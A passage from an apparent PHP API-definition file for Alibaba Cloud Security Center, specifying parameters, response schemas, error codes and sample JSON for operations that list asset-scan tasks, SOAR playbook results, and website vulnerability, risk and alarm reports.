'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'IDC_PROBE_SCAN-1.1.1..124-lse_ubuntu_test1', + ], + 'RootTaskId' => [ + 'description' => '根任务ID。', + 'type' => 'string', + 'example' => '73c392f9c505129a257472a3f911d65d', + ], + 'ProcessRate' => [ + 'description' => '进度百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'TaskStartTime' => [ + 'description' => '任务实际开始的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1633746651715', + ], + 'AssetCount' => [ + 'description' => '本条任务扫描出的资产数目。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'TaskEndTime' => [ + 'description' => '任务实际结束的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1653965680000', + ], + 'IpSegments' => [ + 'description' => '扫描的网段，多个值用半角逗号（,）分隔。', + 'type' => 'string', + 'example' => '1.1.1.1/24,1.1.1.1/24', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 110,\\n \\"Count\\": 10\\n },\\n \\"TaskRecords\\": [\\n {\\n \\"TaskType\\": \\"IDC_PROBE_SCAN\\",\\n \\"TaskStatus\\": \\"SUCCESS\\",\\n \\"TaskName\\": \\"IDC_PROBE_SCAN-1.1.1..124-lse_ubuntu_test1\\",\\n \\"RootTaskId\\": \\"73c392f9c505129a257472a3f911d65d\\",\\n \\"ProcessRate\\": 100,\\n \\"TaskStartTime\\": 1633746651715,\\n \\"AssetCount\\": 100,\\n \\"TaskEndTime\\": 1653965680000,\\n \\"IpSegments\\": \\"1.1.1.1/24,1.1.1.1/24\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产同步任务列表', + ], + 'DescribeSyncAssetTaskLogDetail' => [ + 'summary' => '查询资产同步任务IDC扫描任务的详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'IDC_PROBE_SCAN-TEST_001', + ], + ], + [ + 'name' => 'RootTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的IDC扫描任务的id，您可以调用[DescribeSyncAssetTaskList](~~141932~~)接口获取异常任务id。', + 'type' => 'string', + 'required' => false, + 'example' => '7e9565f537146fdf6bfb4e01f6f08818', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1644027670', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1668064495000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => 'CurrentPage 分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的本次IDC扫描任务详情的数量。默认值为20，表示每页显示20条IDC扫描任务详情。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的本条DC扫描任务对应详情的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'Count' => [ + 'description' => '当前页面显示的IDC扫描任务对应详情的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + 'TaskRecordDetails' => [ + 'description' => '任务详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务详情。', + 'type' => 'object', + 'properties' => [ + 'TaskReportTime' => [ + 'description' => '上报时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671614217000', + ], + 'LeafTaskId' => [ + 'description' => '任务id。', + 'type' => 'string', + 'example' => '6c4e4c36ffc3e5919120b405c2b3****', + ], + 'UnprotectedAssetCount' => [ + 'description' => '未保护量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'TaskMsg' => [ + 'description' => '任务描述。', + 'type' => 'string', + 'example' => 'unknown reason', + ], + 'IdcRegion' => [ + 'description' => 'idc服务器所在的地域。', + 'type' => 'string', + 'example' => '浙江杭州', + ], + 'AssetCount' => [ + 'description' => '资产总量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'LeafTaskStatus' => [ + 'description' => '状态'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **MESSAGE_SEND**：已下发指令'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **FAIL**：已失败'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'example' => 'INIT', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 12,\\n \\"Count\\": 4\\n },\\n \\"TaskRecordDetails\\": [\\n {\\n \\"TaskReportTime\\": 1671614217000,\\n \\"LeafTaskId\\": \\"6c4e4c36ffc3e5919120b405c2b3****\\",\\n \\"UnprotectedAssetCount\\": 0,\\n \\"TaskMsg\\": \\"unknown reason\\",\\n \\"IdcRegion\\": \\"浙江杭州\\",\\n \\"AssetCount\\": 5,\\n \\"LeafTaskStatus\\": \\"INIT\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产同步任务详情', + ], + 'DescribeSoarPlaybookTaskDetail' => [ + 'summary' => '获取任务中心策略对应剧本的执行结果。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '240722', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'RecordId', + 'in' => 'query', + 'schema' => [ + 'description' => '创建策略任务时传入的漏洞ID。'."\n" + .'>调用[DescribeVulList](~~DescribeVulList~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '14', + ], + ], + [ + 'name' => 'PlaybookId', + 'in' => 'query', + 'schema' => [ + 'description' => '剧本ID。'."\n" + .'>调用[DescribePlaybooks](~~3000306~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'RequestUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '剧本任务执行的UUID。'."\n" + .'>调用[DescribeSoarRecords](~~2627455~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'a15e37da-abe0-4d87-acd2-024e875a****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回内容。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + 'TaskDetail' => [ + 'description' => '任务详情。', + 'type' => 'object', + 'properties' => [ + 'LogInfo' => [ + 'description' => '任务的日志信息。', + 'type' => 'string', + 'example' => '{"status":1, "errMsg":"paramError"}', + ], + 'ProcessInfo' => [ + 'description' => '策略对应的流程信息。', + 'type' => 'string', + 'example' => '{"edges":[{"level":0,"removeFlag":0,"source":1,"target":8}]}', + ], + 'Params' => [ + 'description' => '调用剧本的参数。', + 'type' => 'string', + 'example' => 'params1', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'task1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"TaskDetail\\": {\\n \\"LogInfo\\": \\"{\\\\\\"status\\\\\\":1, \\\\\\"errMsg\\\\\\":\\\\\\"paramError\\\\\\"}\\",\\n \\"ProcessInfo\\": \\"{\\\\\\"edges\\\\\\":[{\\\\\\"level\\\\\\":0,\\\\\\"removeFlag\\\\\\":0,\\\\\\"source\\\\\\":1,\\\\\\"target\\\\\\":8}]}\\",\\n \\"Params\\": \\"params1\\",\\n \\"TaskName\\": \\"task1\\"\\n }\\n}","type":"json"}]', + 'title' => '查询剧本任务详情', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarStrategyTaskParams' => [ + 'summary' => '查询任务中心策略任务参数。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '136820', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略任务ID。'."\n" + .'>调用[DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '100', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'result', + 'description' => '返回内容。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', + ], + 'TaskDetail' => [ + 'description' => '任务详情。', + 'type' => 'object', + 'properties' => [ + 'Params' => [ + 'description' => '任务参数。', + 'type' => 'string', + 'example' => '{"summary":[{"name":"email","type":"String","isRequired":false,"fromProperty":"notifyConfig.email"}]}', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'task1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\",\\n \\"TaskDetail\\": {\\n \\"Params\\": \\"{\\\\\\"summary\\\\\\":[{\\\\\\"name\\\\\\":\\\\\\"email\\\\\\",\\\\\\"type\\\\\\":\\\\\\"String\\\\\\",\\\\\\"isRequired\\\\\\":false,\\\\\\"fromProperty\\\\\\":\\\\\\"notifyConfig.email\\\\\\"}]}\\",\\n \\"TaskName\\": \\"task1\\"\\n }\\n}","type":"json"}]', + 'title' => '查询任务中心策略任务参数', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'ProcessSoarStrategyTask' => [ + 'summary' => '执行任务中心的策略任务。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '240752', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略任务ID。'."\n" + .'>调用[DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '100', + ], + ], + [ + 'name' => 'TaskAction', + 'in' => 'query', + 'schema' => [ + 'description' => '任务动作状态。取值：'."\n" + .'- SCHEDULE：调度'."\n" + .'- PAUSE：暂停', + 'type' => 'string', + 'required' => true, + 'example' => 'SCHEDULE', + 'enum' => [ + 'WAITING', + 'STARTING', + 'RUNNING', + 'FINISHED', + 'SCHEDULE', + 'PAUSE', + ], + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息内容。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '79CFF74D-E967-5407-8A78-EE03B925****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925****\\"\\n}","type":"json"}]', + 'title' => '执行任务中心的策略任务', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarStrategyTaskResult' => [ + 'summary' => '查询任务中心策略任务的执行结果。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '136812', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略任务ID。'."\n" + .'>调用[DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '100', + ], + ], + [ + 'name' => 'Condition', + 'in' => 'query', + 'schema' => [ + 'description' => '任务调度的条件参数。', + 'type' => 'string', + 'required' => false, + 'example' => '{"status":1}', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回内容。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1683940A-E4AE-4473-8C40-F4075434****', + ], + 'Records' => [ + 'description' => '执行记录集合。', + 'type' => 'array', + 'items' => [ + 'description' => '执行记录内容。', + 'type' => 'string', + 'example' => '{"id":1,"playbookId":"123"}', + ], + ], + 'PageInfo' => [ + 'description' => '分页内容。', + 'type' => 'object', + 'properties' => [ + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'PageNumber' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1683940A-E4AE-4473-8C40-F4075434****\\",\\n \\"Records\\": [\\n \\"{\\\\\\"id\\\\\\":1,\\\\\\"playbookId\\\\\\":\\\\\\"123\\\\\\"}\\"\\n ],\\n \\"PageInfo\\": {\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 1\\n }\\n}","type":"json"}]', + 'title' => '查询策略任务执行结果', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeDomainSecureVulList' => [ + 'summary' => '查询网站安全报告的漏洞列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '111.196.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞类型。取值包括：'."\n" + .' - **app**：应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'app', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的漏洞总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'VulList' => [ + 'description' => '域名相关的漏洞列表。', + 'type' => 'array', + 'items' => [ + 'description' => '域名相关的漏洞列表。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '要查询的漏洞类型。默认cve。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **app**：应用漏洞（网络扫描）'."\n" + .'- **sca**：应用漏洞（软件成分分析）', + 'type' => 'string', + 'example' => 'app', + ], + 'NntfCount' => [ + 'description' => '修复优先级为**低**的漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'HandledCount' => [ + 'description' => '已处理的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '33', + ], + 'GmtLast' => [ + 'description' => '漏洞最后发现的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1639371446000', + ], + 'Tags' => [ + 'description' => '漏洞的标签。取值：'."\n" + ."\n" + .''."\n" + .'- 需要重启'."\n" + .'- 远程利用'."\n" + .'- 存在EXP'."\n" + .'- 可被利用'."\n" + .'- 本地提权'."\n" + .'- 代码执行'."\n" + .''."\n" + ."\n" + .''."\n" + .'- Restart required'."\n" + .'- Remote utilization'."\n" + .'- EXP exists'."\n" + .'- Available'."\n" + .'- Elevation of Privilege'."\n" + .'- Code Execution'."\n" + .''."\n", + 'type' => 'string', + 'example' => 'Code Execution', + ], + 'LaterCount' => [ + 'description' => '修复优先级为**中**的漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'CESA-2023:3555: python Security Update', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'oval:com.redhat.rhsa:def:20170574'."\n", + ], + 'AsapCount' => [ + 'description' => '修复优先级为**高**的漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"VulList\\": [\\n {\\n \\"Type\\": \\"app\\",\\n \\"NntfCount\\": 20,\\n \\"HandledCount\\": 33,\\n \\"GmtLast\\": 1639371446000,\\n \\"Tags\\": \\"Code Execution\\",\\n \\"LaterCount\\": 30,\\n \\"AliasName\\": \\"CESA-2023:3555: python Security Update\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20170574\\\\n\\",\\n \\"AsapCount\\": 50\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询网站安全报告的漏洞列表', + ], + 'DescribeDomainSecureRiskList' => [ + 'summary' => '查询网站安全报告中存在风险的网站及其关联的安全信息，包括漏洞个数、告警个数等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '124.78.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'NoSslCount' => [ + 'description' => '无证书的网站的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', + ], + 'RiskCount' => [ + 'description' => '风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskList' => [ + 'description' => '风险列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险列表。', + 'type' => 'object', + 'properties' => [ + 'SslBrand' => [ + 'description' => '证书颁发者。', + 'type' => 'string', + 'example' => 'globalsign', + ], + 'SslStatus' => [ + 'description' => '是否配置证书。取值：'."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Domain' => [ + 'description' => '域名。', + 'type' => 'string', + 'example' => 'test.com', + ], + 'VulCount' => [ + 'description' => '漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AlarmCount' => [ + 'description' => '告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'UuidList' => [ + 'description' => '资产对应的服务器uuid列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网站后端服务器的UUID。', + 'type' => 'string', + 'example' => 'd033b152-b8c0-48e0-8980-29f2e52bxxxx', + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NoSslCount\\": 1,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"RiskCount\\": 1,\\n \\"RiskList\\": [\\n {\\n \\"SslBrand\\": \\"globalsign\\",\\n \\"SslStatus\\": 1,\\n \\"Domain\\": \\"test.com\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 1,\\n \\"UuidList\\": [\\n \\"d033b152-b8c0-48e0-8980-29f2e52bxxxx\\"\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询网站安全报告中存在风险的网站列表', + ], + 'DescribeDomainSecureAlarmList' => [ + 'summary' => '查询网站安全报告的安全告警数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '139.227.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '42', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + 'AlarmList' => [ + 'description' => '网站资产的安全告警列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网站资产的安全告警列表。', + 'type' => 'object', + 'properties' => [ + 'Dealed' => [ + 'description' => '要查询的告警事件是否已处理。取值：'."\n" + .'- **N**：待处理'."\n" + .'- **Y**：已处理', + 'type' => 'boolean', + 'example' => 'y', + ], + 'Stages' => [ + 'description' => '攻击或入侵的阶段。', + 'type' => 'string', + 'example' => '[\\"authority_maintenance\\"]'."\n", + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '95.214.*.*', + ], + 'SuspiciousEventCount' => [ + 'description' => '您网站资产中的安全告警总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GmtModified' => [ + 'description' => '最新修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1656901794000', + ], + 'AlarmEventNameOriginal' => [ + 'description' => '告警事件的原始父名称。', + 'type' => 'string', + 'example' => 'login_common_location', + ], + 'AlarmUniqueInfo' => [ + 'description' => '告警事件的唯一标识ID。', + 'type' => 'string', + 'example' => '8df914418f4211fbf756efe7a6f4****', + ], + 'CanCancelFault' => [ + 'description' => '告警事件能否取消标记为误报。取值：'."\n" + ."\n" + .'- **true**：可以取消'."\n" + .'- **false**：不可以取消', + 'type' 